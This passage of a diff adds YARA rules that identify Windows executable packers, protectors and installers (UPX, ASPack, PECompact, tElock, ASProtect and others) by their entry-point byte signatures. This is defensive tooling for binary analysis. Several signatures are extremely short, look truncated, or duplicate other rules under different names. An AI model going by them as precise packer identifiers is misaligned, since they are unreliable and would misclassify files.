+}
+rule _SVKProtector_v1051_
+{
+	meta:
+		description = "SVK-Protector v1.051"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? EB 05 B8 06 36 42 ?? 64 A0}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v136_
+{
+	meta:
+		description = "EXE32Pack v1.36"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 02 81 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b2_
+{
+	meta:
+		description = "SPEC b2"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 5D 8B C5 81 ED 41 24 40 2B 85 89 26 40 83 E8 0B 89 85 8D 26 40 0F B6 B5 91 26 40 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v025_
+{
+	meta:
+		description = "PESHiELD v0.25"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211d_
+{
+	meta:
+		description = "ASPack v2.11d"
+	strings:
+		$0 = {60 E8 03 ?? ?? ?? E9 EB 04 5D 45 55 C3 E8 01 ?? ?? ?? EB 5D BB ED FF FF FF 03 DD 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Winkript_v10_
+{
+	meta:
+		description = "Winkript v1.0"
+	strings:
+		$0 = {FF 15 ?? B1 22 38 08 74 02 B1 20 40 80 38 ?? 74 10 38 08 74 06 40 80 38 ?? 75 F6 80 38 ?? 74 01 40 33 C9 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_p_ECLiPSE_layer_
+{
+	meta:
+		description = "UPX + ECLiPSE layer"
+	strings:
+		$0 = {90 61 BE 8D BE 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071_
+{
+	meta:
+		description = "tElock v0.71"
+	strings:
+		$0 = {60 E8 44 11 ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211c_
+{
+	meta:
+		description = "ASPack v2.11c"
+	strings:
+		$0 = {60 E8 02 ?? ?? ?? EB 09 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 ?? 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_vxxx_
+{
+	meta:
+		description = "DBPE vx.xx"
+	strings:
+		$0 = {60 E8 5D 8B FD 81 ED 2B B9 81 EF 83 BD 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_DLL_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v014b_
+{
+	meta:
+		description = "CodeCrypt v0.14b"
+	strings:
+		$0 = {E9 31 03 ?? ?? EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_6_
+{
+	meta:
+		description = "kryptor 6"
+	strings:
+		$0 = {EB 6A 87}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v080__v084_
+{
+	meta:
+		description = "UPX v0.80 - v0.84"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Hasp_4_envelope_dongle_Alladin_
+{
+	meta:
+		description = "Hasp 4 envelope dongle (Alladin)"
+	strings:
+		$0 = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 ?? ?? ?? ?? 5C 5C 2E 5C 46 45 6E 74 65 44 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Hardlock_dongle_Alladin_
+{
+	meta:
+		description = "Hardlock dongle (Alladin)"
+	strings:
+		$0 = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 ?? ?? 53 54 41 54 49}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0971__v0976_
+{
+	meta:
+		description = "PECompact v0.971 - v0.976"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 87 DD 8B 85 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v015b_
+{
+	meta:
+		description = "CodeCrypt v0.15b"
+	strings:
+		$0 = {E9 2E 03 ?? ?? EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_Master_v10_
+{
+	meta:
+		description = "Pack Master v1.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ED 33 30 40 2B 8D EE 32 40 ?? 83 E9 0B 89 8D F2 32 40 80 BD D1 32 40 01 0F}
+		$1 = {9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 40 87 DD 6A 04 68 10 68 02 6A FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FixupPak_v120_
+{
+	meta:
+		description = "FixupPak v1.20"
+	strings:
+		$0 = {83 EC 0C 53 56 57 E8 24}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v10_
+{
+	meta:
+		description = "ASProtect v1.0"
+	strings:
+		$0 = {60 E9 04 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v100_
+{
+	meta:
+		description = "tElock v1.00"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 ?? ?? ?? ?? 5E 83 C6 50 8B FE 68 78 01 59 EB 01 EB AC 54 E8 03 5C EB}
+	condition:
+		$0 at entrypoint
+}
+rule _VOB_ProtectCD_5_
+{
+	meta:
+		description = "VOB ProtectCD 5"
+	strings:
+		$0 = {5F 81 EF BE 40 8B 87 03 C6 57 56 8C A7 FF 10 89 87 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v60_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v6.0"
+	strings:
+		$0 = {E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v098_
+{
+	meta:
+		description = "PECompact v0.98"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 87 DD 8B 85 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_v01_
+{
+	meta:
+		description = "PE Diminisher v0.1"
+	strings:
+		$0 = {5D 8B D5 81 ED A2 30 40 2B 95 91 33 40 81 EA 0B 89 95 9A 33 40 80 BD}
+		$1 = {60 9C BE ?? 10 40 ?? 8B FE B9 28 03 ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_v272_
+{
+	meta:
+		description = "EXE Stealth v2.72"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 02 81 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v1xx_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 20 71 40 ?? 05 E8 03 ?? ?? BE 60 FD 41 ?? 89 44 24 10 B3 20 FF 15 28 70 40 ?? 68 ?? 04 ?? ?? FF 15 28 71 40 ?? 50 56 FF 15 08 71 40 ?? 80 3D 60 FD 41 ?? 22 75 08 80}
+		$1 = {83 EC 0C 53 56 57 FF 15 2C 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Soft_Defender_v10__v11_
+{
+	meta:
+		description = "Soft Defender v1.0 - v1.1"
+	strings:
+		$0 = {55 8B EC 83 EC 53 56 57 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEShit_
+{
+	meta:
+		description = "PEShit"
+	strings:
+		$0 = {EB 01 68 60 E8 ?? ?? ?? ?? 8B 1C 24 83 C3 12 81 2B E8 B1 06 ?? FE 4B FD 82 2C 24 72 C8 46 ?? 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 ?? 43 B7 F6 C3 6B B7 ?? ?? F9 FF E3 C9 C2}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b1_
+{
+	meta:
+		description = "tElock v0.98b1"
+	strings:
+		$0 = {E9 1B E4 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v13x_
+{
+	meta:
+		description = "EXE32Pack v1.3x"
+	strings:
+		$0 = {E8 24 8B 4C 24 0C C7 01 17 01 C7 81 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint
+}
+rule _VOB_ProtectCD_
+{
+	meta:
+		description = "VOB ProtectCD"
+	strings:
+		$0 = {9C 55 E8 EC ?? ?? ?? 87 D5 5D 60 87 D5 80 BD 15 27 40 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v096_
+{
+	meta:
+		description = "tElock v0.96"
+	strings:
+		$0 = {E9 25 E4 FF FF ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v1401_
+{
+	meta:
+		description = "EXECryptor v1.4.0.1"
+	strings:
+		$0 = {E8 24 8B 4C 24 0C C7 01 17 01 C7 81 B8 31 C0 89 41 14 89 41 18 80 A1 C1 FE C3 31 C0 64 FF 30 64 89 20 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _AcidCrypt_
+{
+	meta:
+		description = "AcidCrypt"
+	strings:
+		$0 = {BE 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0}
+		$1 = {9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 87 DD 6A 04 68 10 68 02 6A FF 95 46 23 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v2001_
+{
+	meta:
+		description = "ASPack v2.001"
+	strings:
+		$0 = {60 E8 72 05 ?? ?? EB 33 87 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v10_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 5D 8B D5 81 ED 97 3B 40 2B 95 2D 3C 40 83 EA 0B 89 95 36 3C 40 01 95 24 3C 40 01 95}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v13_
+{
+	meta:
+		description = "FSG v1.3"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE 53 BB B2 80 A4 B6 80 FF D3 73 F9 33}
+	condition:
+		$0 at entrypoint
+}
+rule _LTC_v13_
+{
+	meta:
+		description = "LTC v1.3"
+	strings:
+		$0 = {2C E8 5D 8B C5 81 ED F6 73 2B 85 83 E8 06 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Stealth_PE_v11_
+{
+	meta:
+		description = "Stealth PE v1.1"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 5D 8B D5 81 ED 63 3A 40 2B 95 C2 3A 40 83 EA 0B 89 95 CB 3A 40 8D B5 CA 3A 40 0F B6}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_stub_
+{
+	meta:
+		description = "UPX Modified stub"
+	strings:
+		$0 = {EB EC 8A 06 46 88 07 47 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09782_
+{
+	meta:
+		description = "PECompact v0.978.2"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 87 DD 8B 85 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_vxxxx_
+{
+	meta:
+		description = "EXECryptor vx.x.x.x"
+	strings:
+		$0 = {68 ?? 10 40 ?? 68 04 01 ?? ?? E8 39 03 ?? ?? 05 ?? 10 40 C6 ?? 5C 68 68 6A ??}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v211_
+{
+	meta:
+		description = "SoftSentry v2.11"
+	strings:
+		$0 = {55 8B EC 83 EC 53 56 57 E9 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v1061b_
+{
+	meta:
+		description = "ASPack v1.061b"
+	strings:
+		$0 = {60 E8 5D 81 ED B8 03 C5 2B 85 0B DE 89 85 17 DE 80 BD 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b2__v140b4_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 87 DD 8B 85 A6 A0 40 01 85 03 A0 40 66 C7 85 A0 40 90 90 01 85 9E A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v02__v02b__v02b2_
+{
+	meta:
+		description = "PESHiELD v0.2 / v0.2b / v0.2b2"
+	strings:
+		$0 = {60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Neolite_v20_
+{
+	meta:
+		description = "Neolite v2.0"
+	strings:
+		$0 = {9E 37 ?? ?? 48 6F 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v201_
+{
+	meta:
+		description = "PE Lock NT v2.01"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v085f_
+{
+	meta:
+		description = "tElock v0.85f"
+	strings:
+		$0 = {E8 02 ?? ?? ?? E8 ?? E8 ?? ?? ?? ?? 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEJoiner_v10_
+{
+	meta:
+		description = "EXEJoiner v1.0"
+	strings:
+		$0 = {9C FE 03 60 BE 41 8D BE 10 FF FF 57 83 CD FF EB}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_8_
+{
+	meta:
+		description = "kryptor 8"
+	strings:
+		$0 = {60 E8 5E B9 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 66}
+	condition:
+		$0 at entrypoint
+}
+rule _NX_PE_Packer_v10_
+{
+	meta:
+		description = "NX PE Packer v1.0"
+	strings:
+		$0 = {EB 02 E8 E7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v156_
+{
+	meta:
+		description = "PECompact v1.56"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 87 DD 8B 85 D2 80 40 01 85 33 80 40 66 C7 85 80 40 90 90 01 85 CE 80 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v016b__v0163b_
+{
+	meta:
+		description = "CodeCrypt v0.16b - v0.163b"
+	strings:
+		$0 = {E9 2E 03 ?? ?? EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D}
+	condition:
+		$0 at entrypoint
+}
+rule _CDCops_II_
+{
+	meta:
+		description = "CD-Cops II"
+	strings:
+		$0 = {E9 C5 02 ?? ?? EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_5_
+{
+	meta:
+		description = "kryptor 5"
+	strings:
+		$0 = {E8 03 E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v092a_
+{
+	meta:
+		description = "tElock v0.92a"
+	strings:
+		$0 = {E9 D5 E4 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0"
+	strings:
+		$0 = {60 E8 5D 81 ED 06 64 A0}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v184_
+{
+	meta:
+		description = "PECompact v1.84"
+	strings:
+		$0 = {B8 50 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 33 C0 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v045_
+{
+	meta:
+		description = "PC Shrinker v0.45"
+	strings:
+		$0 = {9C 60 BD 01 AD 54 3A 40 FF B5 50 3A 40 6A 40 FF 95 88 3A 40 50 50 2D 89}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Alternative_stub_
+{
+	meta:
+		description = "UPX Alternative stub"
+	strings:
+		$0 = {50 BE 8D BE 57 83}
+	condition:
+		$0 at entrypoint
+}
+rule _32Lite_v003a_
+{
+	meta:
+		description = "32Lite v0.03a"
+	strings:
+		$0 = {60 B9 ?? BA ?? BE ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b2_
+{
+	meta:
+		description = "tElock v0.71b2"
+	strings:
+		$0 = {60 E8 48 11 ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1111_
+{
+	meta:
+		description = "Obsidium v1.1.1.1"
+	strings:
+		$0 = {E8 AB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v081__v084_Modified_
+{
+	meta:
+		description = "UPX v0.81 - v0.84 Modified"
+	strings:
+		$0 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 ?? ?? ?? 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _ZCode_Win32PE_Protector_v101_
+{
+	meta:
+		description = "ZCode Win32/PE Protector v1.01"
+	strings:
+		$0 = {53 51 56 E8 ?? ?? ?? ?? 5B 81 EB 08 10 ?? ?? 8D B3 34 10 ?? ?? B9 F3 03 ?? ?? BA 63 17 2A EE 31 16 83 C6}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v10_
+{
+	meta:
+		description = "EP v1.0"
+	strings:
+		$0 = {6A 60 E9 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_
+{
+	meta:
+		description = "ASPack v1.07b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D B8 03}
+		$1 = {90 90 75}
+		$2 = {90 75}
+		$3 = {90 75 01 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _XtremeProtector_v106_
+{
+	meta:
+		description = "Xtreme-Protector v1.06"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_
+{
+	meta:
+		description = "Wise Installer Stub"
+	strings:
+		$0 = {55 8B EC 81 EC 78 05 ?? ?? 53 56 BE 04 01 ?? ?? 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 ?? 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 ?? 8B 3D 2C 20 40 ?? 53 53}
+		$1 = {55 8B EC 81 EC 40 0F ?? ?? 53 56 57 6A 04 FF 15 F4 30 40 ?? FF 15 74 30 40 ?? 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PENightMare_2_Beta_
+{
+	meta:
+		description = "PENightMare 2 Beta"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v123b3__v1241_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 A6 70 40 01 85 03 70 40 66 C7 85 70 40 90 90 01 85 9E 70 40 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v13045_
+{
+	meta:
+		description = "EXECryptor v1.3.0.45"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 31 C0 89 41 14 89 41 18 80}
+		$1 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_10_
+{
+	meta:
+		description = "DxPack 1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 ?? B8 40 ?? 03 ?? 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C C0 33 FE 8B 30 AC 30 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_vxx_
+{
+	meta:
+		description = "ASProtect vx.x"
+	strings:
+		$0 = {60 90 5D 03}
+		$1 = {60 E8 01 90 5D 81 ED BB 03 DD 2B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v140__v145_
+{
+	meta:
+		description = "PECompact v1.40 - v1.45"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 87 DD 8B 85 A6 A0 40 01 85 03 A0 40 66 C7 85 A0 40 90 90 01 85 9E A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_v20a_
+{
+	meta:
+		description = "Private EXE v2.0a"
+	strings:
+		$0 = {EB CD CD EB EB EB EB CD E8 E9 50}
+		$1 = {E8 58 83 D8 05 89 C3 81 C3 8B 43 64}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v123_RC1_
+{
+	meta:
+		description = "ASProtect v1.23 RC1"
+	strings:
+		$0 = {68 01 E8 01 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v100b_
+{
+	meta:
+		description = "ASPack v1.00b"
+	strings:
+		$0 = {60 E8 5D 81 ED D2 2A 44 B8 CC 2A 44 03 C5 2B 85 A5 2E 44 89 85 B1 2E 44 80 BD 9C 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _CopyControl_v303_
+{
+	meta:
+		description = "CopyControl v3.03"
+	strings:
+		$0 = {55 8B EC 81 EC 20 02 ?? ?? 53 56 57 6A ?? FF 15 18 61 40 ?? 68 ?? 70 40 ?? 89 45 08 FF 15 14 61 40 ?? 85 C0 74 27 6A ?? A1 ?? 20 40 ?? 50 FF 15 3C 61 40 ?? 8B F0 6A 06 56 FF 15 38 61 40 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v106b_
+{
+	meta:
+		description = "ASPack v1.06b"
+	strings:
+		$0 = {90 90 75 ??}
+		$1 = {90 90 90 75 ??}
+		$2 = {60 E8 5D 81 ED EA A8 43 B8 E4 A8 43 03 C5 2B 85 78 AD 43 89 85 84 AD 43 80 BD 6E AD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE32Pack_v138_
+{
+	meta:
+		description = "EXE32Pack v1.38"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 02 81 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_Console_v10_v101_v102_
+{
+	meta:
+		description = "PE Crypt32 (Console v1.0, v1.01, v1.02)"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 5D 81 ED 0A 45 40 80 BD 67 44 40 0F 85}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v13_
+{
+	meta:
+		description = ".BJFnt v1.3"
+	strings:
+		$0 = {EB 3A 1E EB CD 20 9C EB CD 20 EB CD 20 60}
+		$1 = {60 06 FC 1E 07 BE 6A 04 68 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeSmasher_vxx_
+{
+	meta:
+		description = "ExeSmasher vx.x"
+	strings:
+		$0 = {E9 19 32 ?? ?? E9 7C 2A ?? ?? E9 19 24 ?? ?? E9 FF 23 ?? ?? E9 1E 2E ?? ?? E9 88 2E ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v168__v184_
+{
+	meta:
+		description = "PECompact v1.68 - v1.84"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v166_
+{
+	meta:
+		description = "PECompact v1.66"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v02_
+{
+	meta:
+		description = "Krypton v0.2"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXScrambler_RC_v1x_
+{
+	meta:
+		description = "UPX-Scrambler RC v1.x"
+	strings:
+		$0 = {B8 43 ?? B9 15 ?? ?? ?? 80 34 08 E2 FA E9 D6 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102a_
+{
+	meta:
+		description = "ASPack v1.02a"
+	strings:
+		$0 = {60 E8 5D 81 ED 96 78 43 B8 90 78 43 03 C5 2B 85 7D 7C 43 89 85 89 7C 43 80 BD 74 7C}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_
+{
+	meta:
+		description = "Inno Setup Module"
+	strings:
+		$0 = {49 6E 6E}
+		$1 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Modifier_v01x_
+{
+	meta:
+		description = "UPX Modifier v0.1x"
+	strings:
+		$0 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a_
+{
+	meta:
+		description = "Inno Setup Module v1.09a"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_v10_
+{
+	meta:
+		description = "PEnguinCrypt v1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D B9 80 31 15 41 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PEMangle_
+{
+	meta:
+		description = "PEMangle"
+	strings:
+		$0 = {E8 B9 1B 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v133_
+{
+	meta:
+		description = "PECompact v1.33"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 87 DD 8B 85 A6 80 40 01 85 03 80 40 66 C7 85 ?? 80 40 90 90 01 85 9E 80}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v22_
+{
+	meta:
+		description = "PEtite v2.2"
+	strings:
+		$0 = {B8 66 9C 60}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v11_
+{
+	meta:
+		description = "ASProtect v1.1"
+	strings:
+		$0 = {60 E9 91 78 79 79 79}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v271_
+{
+	meta:
+		description = "EXE Stealth v2.71"
+	strings:
+		$0 = {EB ?? EB 2F 53 68 61 72 65 77 61 72 65 20 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) v1.5"
+	strings:
